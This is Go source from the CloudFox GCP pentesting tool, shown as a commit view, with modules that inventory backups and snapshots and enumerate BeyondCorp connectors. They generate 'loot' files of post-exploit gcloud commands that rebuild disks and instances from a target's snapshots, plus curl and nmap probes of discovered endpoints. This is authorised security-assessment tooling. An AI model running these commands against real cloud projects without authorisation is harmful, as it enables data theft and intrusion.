// ------------------------------
// Output Struct
// ------------------------------
type BackupInventoryOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BackupInventoryOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BackupInventoryOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPBackupInventoryCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, GCP_BACKUPINVENTORY_MODULE_NAME)
if err != nil {
return
}
module := &BackupInventoryModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectResources: make(map[string][]BackupResource),
ProjectSnapshots: make(map[string][]ComputeSnapshot),
LootMap: make(map[string]map[string]*internal.LootFile),
disksWithBackups: make(map[string]bool),
sqlWithBackups: make(map[string]bool),
allDisks: make(map[string]diskInfo),
allSQLInstances: make(map[string]sqlInstanceInfo),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *BackupInventoryModule) Execute(ctx context.Context, logger internal.Logger) {
logger.InfoM("Inventorying backup configurations...", GCP_BACKUPINVENTORY_MODULE_NAME)
computeService, err := compute.NewService(ctx)
if err != nil {
logger.ErrorM(fmt.Sprintf("Failed to create Compute service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
return
}
sqlService, err := sqladmin.NewService(ctx)
if err != nil {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.ErrorM(fmt.Sprintf("Failed to create SQL Admin service: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
}
}
var wg sync.WaitGroup
for _, projectID := range m.ProjectIDs {
wg.Add(1)
go func(project string) {
defer wg.Done()
m.processProject(ctx, project, computeService, sqlService, logger)
}(projectID)
}
wg.Wait()
// Identify unprotected resources
m.identifyUnprotectedResources()
allResources := m.getAllResources()
allSnapshots := m.getAllSnapshots()
if len(allResources) == 0 && len(allSnapshots) == 0 {
logger.InfoM("No backup data found", GCP_BACKUPINVENTORY_MODULE_NAME)
return
}
// Count protected vs unprotected
protectedCount := 0
unprotectedCount := 0
for _, r := range allResources {
if r.Protected {
protectedCount++
} else {
unprotectedCount++
}
}
// Count public snapshots
publicSnapshotCount := 0
for _, s := range allSnapshots {
if s.PublicAccess {
publicSnapshotCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d resource(s): %d protected, %d unprotected, %d snapshot(s)",
len(allResources), protectedCount, unprotectedCount, len(allSnapshots)), GCP_BACKUPINVENTORY_MODULE_NAME)
if unprotectedCount > 0 {
logger.InfoM(fmt.Sprintf("Found %d resource(s) without backup coverage", unprotectedCount), GCP_BACKUPINVENTORY_MODULE_NAME)
}
if publicSnapshotCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d publicly accessible snapshot(s)!", publicSnapshotCount), GCP_BACKUPINVENTORY_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
func (m *BackupInventoryModule) getAllResources() []BackupResource {
var all []BackupResource
for _, resources := range m.ProjectResources {
all = append(all, resources...)
}
return all
}
func (m *BackupInventoryModule) getAllSnapshots() []ComputeSnapshot {
var all []ComputeSnapshot
for _, snapshots := range m.ProjectSnapshots {
all = append(all, snapshots...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *BackupInventoryModule) processProject(ctx context.Context, projectID string, computeService *compute.Service, sqlService *sqladmin.Service, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating backups for project: %s", projectID), GCP_BACKUPINVENTORY_MODULE_NAME)
}
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["backup-inventory-commands"] = &internal.LootFile{
Name: "backup-inventory-commands",
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
// List all disks first (for gap analysis)
m.enumerateDisks(ctx, projectID, computeService, logger)
// List snapshots
m.enumerateSnapshots(ctx, projectID, computeService, logger)
// List SQL instances and backups
if sqlService != nil {
m.enumerateSQLBackups(ctx, projectID, sqlService, logger)
}
}
func (m *BackupInventoryModule) enumerateDisks(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
req := computeService.Disks.AggregatedList(projectID)
err := req.Pages(ctx, func(page *compute.DiskAggregatedList) error {
for zone, diskList := range page.Items {
if diskList.Disks == nil {
continue
}
for _, disk := range diskList.Disks {
m.mu.Lock()
m.allDisks[disk.SelfLink] = diskInfo{
SizeGB: disk.SizeGb,
Zone: m.extractZoneFromURL(zone),
ProjectID: projectID,
Name: disk.Name,
}
m.mu.Unlock()
}
}
return nil
})
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate disks in project %s", projectID))
}
}
func (m *BackupInventoryModule) enumerateSnapshots(ctx context.Context, projectID string, computeService *compute.Service, logger internal.Logger) {
req := computeService.Snapshots.List(projectID)
err := req.Pages(ctx, func(page *compute.SnapshotList) error {
for _, snapshot := range page.Items {
// Determine encryption type and KMS key name
encryptionType := "Google-managed"
kmsKeyName := ""
if snapshot.SnapshotEncryptionKey != nil {
if snapshot.SnapshotEncryptionKey.KmsKeyName != "" {
encryptionType = "CMEK"
kmsKeyName = snapshot.SnapshotEncryptionKey.KmsKeyName
} else if snapshot.SnapshotEncryptionKey.RawKey != "" || snapshot.SnapshotEncryptionKey.Sha256 != "" {
encryptionType = "CSEK"
}
}
snap := ComputeSnapshot{
ProjectID: projectID,
Name: snapshot.Name,
SourceDisk: snapshot.SourceDisk,
Status: snapshot.Status,
DiskSizeGB: snapshot.DiskSizeGb,
StorageBytes: snapshot.StorageBytes,
CreationTime: snapshot.CreationTimestamp,
StorageLocats: snapshot.StorageLocations,
AutoCreated: snapshot.AutoCreated,
SnapshotType: snapshot.SnapshotType,
EncryptionType: encryptionType,
KMSKeyName: kmsKeyName,
}
// Get IAM policy for this snapshot
iamPolicy, iamErr := computeService.Snapshots.GetIamPolicy(projectID, snapshot.Name).Context(ctx).Do()
if iamErr == nil && iamPolicy != nil {
for _, binding := range iamPolicy.Bindings {
snap.IAMBindings = append(snap.IAMBindings, IAMBinding{
Role: binding.Role,
Members: binding.Members,
})
// Check for public access
for _, member := range binding.Members {
if shared.IsPublicPrincipal(member) {
snap.PublicAccess = true
}
}
}
}
m.mu.Lock()
m.ProjectSnapshots[projectID] = append(m.ProjectSnapshots[projectID], snap)
m.disksWithBackups[snapshot.SourceDisk] = true
// Add post-exploit commands for snapshots
if m.LootMap[projectID] != nil {
if lootFile := m.LootMap[projectID]["backup-inventory-commands"]; lootFile != nil {
// Determine a zone from storage locations or use a default
zone := "us-central1-a"
if len(snapshot.StorageLocations) > 0 {
zone = snapshot.StorageLocations[0] + "-a"
}
lootFile.Contents += fmt.Sprintf(
"# -----------------------------------------------------------------------------\n"+
"# SNAPSHOT: %s (Source: %s, Size: %dGB)\n"+
"# -----------------------------------------------------------------------------\n"+
"# Create a disk from this snapshot\n"+
"gcloud compute disks create disk-from-%s \\\n"+
" --project=%s \\\n"+
" --zone=%s \\\n"+
" --source-snapshot=%s\n\n"+
"# Create an instance using a disk from this snapshot\n"+
"gcloud compute instances create instance-from-%s \\\n"+
" --project=%s \\\n"+
" --zone=%s \\\n"+
" --disk=name=disk-from-%s,boot=yes\n\n",
snapshot.Name, m.extractDiskName(snapshot.SourceDisk), snapshot.DiskSizeGb,
snapshot.Name, projectID, zone, snapshot.Name,
snapshot.Name, projectID, zone, snapshot.Name,
)
}
}
m.mu.Unlock()
}
return nil
})
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate snapshots in project %s", projectID))
}
// Track protected resources from snapshots
m.trackSnapshotProtection(projectID)
}
func (m *BackupInventoryModule) trackSnapshotProtection(projectID string) {
m.mu.Lock()
projectSnapshots := m.ProjectSnapshots[projectID]
m.mu.Unlock()
// Group snapshots by source disk
diskSnapshots := make(map[string][]ComputeSnapshot)
for _, snap := range projectSnapshots {
diskSnapshots[snap.SourceDisk] = append(diskSnapshots[snap.SourceDisk], snap)
}
m.mu.Lock()
defer m.mu.Unlock()
for diskURL, snaps := range diskSnapshots {
// Find latest snapshot
var latestTime time.Time
var latestSnap ComputeSnapshot
for _, snap := range snaps {
t, err := time.Parse(time.RFC3339, snap.CreationTime)
if err == nil && t.After(latestTime) {
latestTime = t
latestSnap = snap
}
}
diskInfo := m.allDisks[diskURL]
backupStatus := latestSnap.Status
// Calculate age of last backup
if !latestTime.IsZero() {
age := time.Since(latestTime)
if age > 7*24*time.Hour {
backupStatus = "STALE"
} else {
backupStatus = "CURRENT"
}
}
resource := BackupResource{
ProjectID: projectID,
Name: m.extractDiskName(diskURL),
ResourceType: "compute-disk",
Location: diskInfo.Zone,
SizeGB: diskInfo.SizeGB,
Protected: true,
BackupType: "snapshot",
LastBackup: latestSnap.CreationTime,
BackupCount: len(snaps),
BackupStatus: backupStatus,
BackupLocation: strings.Join(latestSnap.StorageLocats, ","),
}
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
}
}
func (m *BackupInventoryModule) enumerateSQLBackups(ctx context.Context, projectID string, sqlService *sqladmin.Service, logger internal.Logger) {
instances, err := sqlService.Instances.List(projectID).Do()
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, GCP_BACKUPINVENTORY_MODULE_NAME,
fmt.Sprintf("Could not enumerate SQL instances in project %s", projectID))
return
}
for _, instance := range instances.Items {
m.mu.Lock()
m.allSQLInstances[instance.Name] = sqlInstanceInfo{
ProjectID: projectID,
Region: instance.Region,
}
m.mu.Unlock()
// Check backup configuration
backupEnabled := false
pitrEnabled := false
var retentionDays int
var backupStartTime string
if instance.Settings != nil && instance.Settings.BackupConfiguration != nil {
backupEnabled = instance.Settings.BackupConfiguration.Enabled
pitrEnabled = instance.Settings.BackupConfiguration.PointInTimeRecoveryEnabled
retentionDays = int(instance.Settings.BackupConfiguration.TransactionLogRetentionDays)
backupStartTime = instance.Settings.BackupConfiguration.StartTime
}
if backupEnabled {
m.mu.Lock()
m.sqlWithBackups[instance.Name] = true
m.mu.Unlock()
// List actual backups for this instance
backups, err := sqlService.BackupRuns.List(projectID, instance.Name).Do()
if err != nil {
continue
}
var latestBackupTime string
var latestStatus string
var latestLocation string
backupCount := 0
for _, backup := range backups.Items {
backupCount++
if latestBackupTime == "" || backup.StartTime > latestBackupTime {
latestBackupTime = backup.StartTime
latestStatus = backup.Status
latestLocation = backup.Location
}
}
resource := BackupResource{
ProjectID: projectID,
Name: instance.Name,
ResourceType: "cloudsql-instance",
Location: instance.Region,
Protected: true,
BackupType: "automated",
Schedule: fmt.Sprintf("Daily at %s", backupStartTime),
RetentionDays: retentionDays,
LastBackup: latestBackupTime,
BackupCount: backupCount,
BackupStatus: latestStatus,
PITREnabled: pitrEnabled,
BackupLocation: latestLocation,
}
m.mu.Lock()
m.ProjectResources[projectID] = append(m.ProjectResources[projectID], resource)
m.mu.Unlock()
}
}
}
// ------------------------------
// Gap Analysis
// ------------------------------
func (m *BackupInventoryModule) identifyUnprotectedResources() {
m.mu.Lock()
defer m.mu.Unlock()
// Find disks without snapshots
for diskURL, info := range m.allDisks {
if !m.disksWithBackups[diskURL] {
resource := BackupResource{
ProjectID: info.ProjectID,
Name: info.Name,
ResourceType: "compute-disk",
Location: info.Zone,
SizeGB: info.SizeGB,
Protected: false,
BackupType: "none",
}
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
// Add to loot (ensure project loot is initialized)
if m.LootMap[info.ProjectID] == nil {
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
Name: "backup-inventory-commands",
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
// No loot commands for unprotected disks - these are informational only
}
}
// Find SQL instances without backups
for instanceName, info := range m.allSQLInstances {
if !m.sqlWithBackups[instanceName] {
resource := BackupResource{
ProjectID: info.ProjectID,
Name: instanceName,
ResourceType: "cloudsql-instance",
Location: info.Region,
Protected: false,
BackupType: "none",
}
m.ProjectResources[info.ProjectID] = append(m.ProjectResources[info.ProjectID], resource)
// Add to loot (ensure project loot is initialized)
if m.LootMap[info.ProjectID] == nil {
m.LootMap[info.ProjectID] = make(map[string]*internal.LootFile)
m.LootMap[info.ProjectID]["backup-inventory-commands"] = &internal.LootFile{
Name: "backup-inventory-commands",
Contents: "# Backup Inventory Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
// No loot commands for unprotected SQL instances - these are informational only
}
}
}
// ------------------------------
// Helper Functions
// ------------------------------
func (m *BackupInventoryModule) extractDiskName(url string) string {
parts := strings.Split(url, "/")
if len(parts) > 0 {
return parts[len(parts)-1]
}
return url
}
func (m *BackupInventoryModule) extractZoneFromURL(url string) string {
if strings.Contains(url, "zones/") {
parts := strings.Split(url, "/")
for i, part := range parts {
if part == "zones" && i+1 < len(parts) {
return parts[i+1]
}
}
}
return ""
}
func (m *BackupInventoryModule) extractRegionFromZone(zone string) string {
if zone == "" {
return ""
}
// Zone format: us-central1-a -> Region: us-central1
parts := strings.Split(zone, "-")
if len(parts) >= 2 {
return strings.Join(parts[:len(parts)-1], "-")
}
return zone
}
// ------------------------------
// Output Generation
// ------------------------------
func (m *BackupInventoryModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *BackupInventoryModule) getResourcesHeader() []string {
return []string{
"Project ID",
"Project Name",
"Resource",
"Type",
"Location",
"Size (GB)",
"Protected",
"Backup Type",
"Schedule",
"Retention",
"Last Backup",
"Count",
"Status",
"PITR",
}
}
func (m *BackupInventoryModule) getSnapshotsHeader() []string {
return []string{
"Project",
"Snapshot",
"Source Disk",
"Size (GB)",
"Created",
"Status",
"Type",
"Auto Created",
"Locations",
"Encryption",
"IAM Binding Role",
"IAM Binding Principal",
"Public",
}
}
func (m *BackupInventoryModule) resourcesToTableBody(resources []BackupResource) [][]string {
var body [][]string
for _, r := range resources {
protectedStr := "No"
if r.Protected {
protectedStr = "Yes"
}
pitrStr := "No"
if r.PITREnabled {
pitrStr = "Yes"
}
retentionStr := ""
if r.RetentionDays > 0 {
retentionStr = fmt.Sprintf("%d days", r.RetentionDays)
}
sizeStr := ""
if r.SizeGB > 0 {
sizeStr = fmt.Sprintf("%d", r.SizeGB)
}
countStr := ""
if r.BackupCount > 0 {
countStr = fmt.Sprintf("%d", r.BackupCount)
}
body = append(body, []string{
r.ProjectID,
m.GetProjectName(r.ProjectID),
r.Name,
r.ResourceType,
r.Location,
sizeStr,
protectedStr,
r.BackupType,
r.Schedule,
retentionStr,
r.LastBackup,
countStr,
r.BackupStatus,
pitrStr,
})
}
return body
}
func (m *BackupInventoryModule) snapshotsToTableBody(snapshots []ComputeSnapshot) [][]string {
var body [][]string
for _, s := range snapshots {
autoCreatedStr := "No"
if s.AutoCreated {
autoCreatedStr = "Yes"
}
publicAccess := "No"
if s.PublicAccess {
publicAccess = "Yes"
}
// Format encryption - show KMS key name if CMEK
encryptionDisplay := s.EncryptionType
if s.EncryptionType == "CMEK" && s.KMSKeyName != "" {
// Extract just the key name from the full path for display
// Format: projects/PROJECT/locations/LOCATION/keyRings/RING/cryptoKeys/KEY
keyParts := strings.Split(s.KMSKeyName, "/")
if len(keyParts) >= 2 {
encryptionDisplay = fmt.Sprintf("CMEK (%s)", keyParts[len(keyParts)-1])
}
}
// If no IAM bindings, still show the snapshot
if len(s.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(s.ProjectID),
s.Name,
m.extractDiskName(s.SourceDisk),
fmt.Sprintf("%d", s.DiskSizeGB),
s.CreationTime,
s.Status,
s.SnapshotType,
autoCreatedStr,
strings.Join(s.StorageLocats, ","),
encryptionDisplay,
"-",
"-",
publicAccess,
})
} else {
// One row per member per role
for _, binding := range s.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(s.ProjectID),
s.Name,
m.extractDiskName(s.SourceDisk),
fmt.Sprintf("%d", s.DiskSizeGB),
s.CreationTime,
s.Status,
s.SnapshotType,
autoCreatedStr,
strings.Join(s.StorageLocats, ","),
encryptionDisplay,
binding.Role,
member,
publicAccess,
})
}
}
}
}
return body
}
func (m *BackupInventoryModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if resources, ok := m.ProjectResources[projectID]; ok && len(resources) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "backup-inventory",
Header: m.getResourcesHeader(),
Body: m.resourcesToTableBody(resources),
})
}
if snapshots, ok := m.ProjectSnapshots[projectID]; ok && len(snapshots) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "backup-snapshots",
Header: m.getSnapshotsHeader(),
Body: m.snapshotsToTableBody(snapshots),
})
}
return tableFiles
}
func (m *BackupInventoryModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
// Get all project IDs that have data
projectIDs := make(map[string]bool)
for projectID := range m.ProjectResources {
projectIDs[projectID] = true
}
for projectID := range m.ProjectSnapshots {
projectIDs[projectID] = true
}
for projectID := range projectIDs {
tableFiles := m.buildTablesForProject(projectID)
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = BackupInventoryOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
}
}
func (m *BackupInventoryModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allResources := m.getAllResources()
allSnapshots := m.getAllSnapshots()
var tables []internal.TableFile
if len(allResources) > 0 {
tables = append(tables, internal.TableFile{
Name: "backup-inventory",
Header: m.getResourcesHeader(),
Body: m.resourcesToTableBody(allResources),
})
}
if len(allSnapshots) > 0 {
tables = append(tables, internal.TableFile{
Name: "backup-snapshots",
Header: m.getSnapshotsHeader(),
Body: m.snapshotsToTableBody(allSnapshots),
})
}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := BackupInventoryOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), GCP_BACKUPINVENTORY_MODULE_NAME)
}
}
+446
View File
@@ -0,0 +1,446 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
beyondcorpservice "github.com/BishopFox/cloudfox/gcp/services/beyondcorpService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPBeyondCorpCommand = &cobra.Command{
Use: globals.GCP_BEYONDCORP_MODULE_NAME,
Aliases: []string{"bc", "zero-trust"},
Short: "Enumerate BeyondCorp Enterprise configurations",
Long: `Enumerate BeyondCorp Enterprise configurations.
Features:
- Lists app connectors and connections
- Analyzes connection endpoints
- Identifies configuration issues`,
Run: runGCPBeyondCorpCommand,
}
type BeyondCorpModule struct {
gcpinternal.BaseGCPModule
ProjectAppConnectors map[string][]beyondcorpservice.AppConnectorInfo // projectID -> connectors
ProjectAppConnections map[string][]beyondcorpservice.AppConnectionInfo // projectID -> connections
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
type BeyondCorpOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o BeyondCorpOutput) TableFiles() []internal.TableFile { return o.Table }
func (o BeyondCorpOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPBeyondCorpCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_BEYONDCORP_MODULE_NAME)
if err != nil {
return
}
module := &BeyondCorpModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectAppConnectors: make(map[string][]beyondcorpservice.AppConnectorInfo),
ProjectAppConnections: make(map[string][]beyondcorpservice.AppConnectionInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *BeyondCorpModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_BEYONDCORP_MODULE_NAME, m.processProject)
allConnectors := m.getAllConnectors()
allConnections := m.getAllConnections()
totalCount := len(allConnectors) + len(allConnections)
if totalCount == 0 {
logger.InfoM("No BeyondCorp resources found", globals.GCP_BEYONDCORP_MODULE_NAME)
return
}
// Count public resources
publicConnectorCount := 0
publicConnectionCount := 0
for _, connector := range allConnectors {
if connector.PublicAccess {
publicConnectorCount++
}
}
for _, conn := range allConnections {
if conn.PublicAccess {
publicConnectionCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d connector(s), %d connection(s)",
len(allConnectors), len(allConnections)),
globals.GCP_BEYONDCORP_MODULE_NAME)
if publicConnectorCount > 0 || publicConnectionCount > 0 {
logger.InfoM(fmt.Sprintf("[FINDING] Found %d public connector(s), %d public connection(s)!",
publicConnectorCount, publicConnectionCount), globals.GCP_BEYONDCORP_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
func (m *BeyondCorpModule) getAllConnectors() []beyondcorpservice.AppConnectorInfo {
var all []beyondcorpservice.AppConnectorInfo
for _, connectors := range m.ProjectAppConnectors {
all = append(all, connectors...)
}
return all
}
func (m *BeyondCorpModule) getAllConnections() []beyondcorpservice.AppConnectionInfo {
var all []beyondcorpservice.AppConnectionInfo
for _, connections := range m.ProjectAppConnections {
all = append(all, connections...)
}
return all
}
func (m *BeyondCorpModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating BeyondCorp in project: %s", projectID), globals.GCP_BEYONDCORP_MODULE_NAME)
}
svc := beyondcorpservice.New()
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["beyondcorp-details"] = &internal.LootFile{
Name: "beyondcorp-details",
Contents: "# BeyondCorp Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
// Get app connectors
connectors, err := svc.ListAppConnectors(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_BEYONDCORP_MODULE_NAME,
fmt.Sprintf("Could not list app connectors in project %s", projectID))
}
m.mu.Lock()
m.ProjectAppConnectors[projectID] = connectors
for _, connector := range connectors {
m.addConnectorToLoot(projectID, connector)
}
m.mu.Unlock()
// Get app connections
connections, err := svc.ListAppConnections(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_BEYONDCORP_MODULE_NAME,
fmt.Sprintf("Could not list app connections in project %s", projectID))
}
m.mu.Lock()
m.ProjectAppConnections[projectID] = connections
for _, conn := range connections {
m.addConnectionToLoot(projectID, conn)
}
m.mu.Unlock()
}
func (m *BeyondCorpModule) addConnectionToLoot(projectID string, conn beyondcorpservice.AppConnectionInfo) {
lootFile := m.LootMap[projectID]["beyondcorp-details"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# CONNECTION: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Location: %s\n"+
"# State: %s\n"+
"# Endpoint: %s\n"+
"# Gateway: %s\n"+
"# Connectors: %s\n",
conn.Name, conn.ProjectID, conn.Location, conn.State,
conn.ApplicationEndpoint, conn.Gateway, strings.Join(conn.Connectors, ", "))
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe this app connection:
gcloud beta beyondcorp app connections describe %s --location=%s --project=%s
# List IAM policy for this connection:
gcloud beta beyondcorp app connections get-iam-policy %s --location=%s --project=%s
# List all app connectors in the project:
gcloud beta beyondcorp app connectors list --location=%s --project=%s
# List all app connections in the project:
gcloud beta beyondcorp app connections list --location=%s --project=%s
`, conn.Name, conn.Location, conn.ProjectID,
conn.Name, conn.Location, conn.ProjectID,
conn.Location, conn.ProjectID,
conn.Location, conn.ProjectID)
// Exploitation commands
if conn.ApplicationEndpoint != "" {
lootFile.Contents += fmt.Sprintf(
"# === EXPLOIT COMMANDS ===\n\n"+
"# Test connectivity to application endpoint:\n"+
"curl -v %s\n\n"+
"# Scan endpoint for open ports (if IP-based):\n"+
"nmap -sV %s\n\n",
conn.ApplicationEndpoint, conn.ApplicationEndpoint)
}
if conn.PublicAccess {
lootFile.Contents += "# [FINDING] This connection has PUBLIC access!\n" +
"# Check IAM bindings for allUsers/allAuthenticatedUsers\n\n"
}
}
func (m *BeyondCorpModule) addConnectorToLoot(projectID string, connector beyondcorpservice.AppConnectorInfo) {
lootFile := m.LootMap[projectID]["beyondcorp-details"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# CONNECTOR: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Location: %s\n"+
"# State: %s\n"+
"# Service Account: %s\n",
connector.Name, connector.ProjectID, connector.Location,
connector.State, connector.PrincipalInfo)
lootFile.Contents += fmt.Sprintf(`
# Describe this connector:
gcloud beta beyondcorp app connectors describe %s --location=%s --project=%s
# Get IAM policy for this connector:
gcloud beta beyondcorp app connectors get-iam-policy %s --location=%s --project=%s
`, connector.Name, connector.Location, connector.ProjectID,
connector.Name, connector.Location, connector.ProjectID)
if connector.PublicAccess {
lootFile.Contents += "# [FINDING] This connector has PUBLIC access!\n\n"
}
}
func (m *BeyondCorpModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *BeyondCorpModule) getConnectorsHeader() []string {
return []string{"Project", "Name", "Location", "State", "Service Account", "IAM Binding Role", "IAM Binding Principal", "Public"}
}
func (m *BeyondCorpModule) getConnectionsHeader() []string {
return []string{"Project", "Name", "Location", "State", "Endpoint", "Gateway", "IAM Binding Role", "IAM Binding Principal", "Public"}
}
func (m *BeyondCorpModule) connectorsToTableBody(connectors []beyondcorpservice.AppConnectorInfo) [][]string {
var body [][]string
for _, connector := range connectors {
publicAccess := "No"
if connector.PublicAccess {
publicAccess = "Yes"
}
if len(connector.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(connector.ProjectID),
connector.Name,
connector.Location,
connector.State,
connector.PrincipalInfo,
"-",
"-",
publicAccess,
})
} else {
for _, binding := range connector.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(connector.ProjectID),
connector.Name,
connector.Location,
connector.State,
connector.PrincipalInfo,
binding.Role,
member,
publicAccess,
})
}
}
}
}
return body
}
func (m *BeyondCorpModule) connectionsToTableBody(connections []beyondcorpservice.AppConnectionInfo) [][]string {
var body [][]string
for _, conn := range connections {
publicAccess := "No"
if conn.PublicAccess {
publicAccess = "Yes"
}
if len(conn.IAMBindings) == 0 {
body = append(body, []string{
m.GetProjectName(conn.ProjectID),
conn.Name,
conn.Location,
conn.State,
conn.ApplicationEndpoint,
conn.Gateway,
"-",
"-",
publicAccess,
})
} else {
for _, binding := range conn.IAMBindings {
for _, member := range binding.Members {
body = append(body, []string{
m.GetProjectName(conn.ProjectID),
conn.Name,
conn.Location,
conn.State,
conn.ApplicationEndpoint,
conn.Gateway,
binding.Role,
member,
publicAccess,
})
}
}
}
}
return body
}
func (m *BeyondCorpModule) buildTablesForProject(projectID string) []internal.TableFile {
var tableFiles []internal.TableFile
if connectors, ok := m.ProjectAppConnectors[projectID]; ok && len(connectors) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "beyondcorp-connectors",
Header: m.getConnectorsHeader(),
Body: m.connectorsToTableBody(connectors),
})
}
if connections, ok := m.ProjectAppConnections[projectID]; ok && len(connections) > 0 {
tableFiles = append(tableFiles, internal.TableFile{
Name: "beyondcorp-connections",
Header: m.getConnectionsHeader(),
Body: m.connectionsToTableBody(connections),
})
}
return tableFiles
}
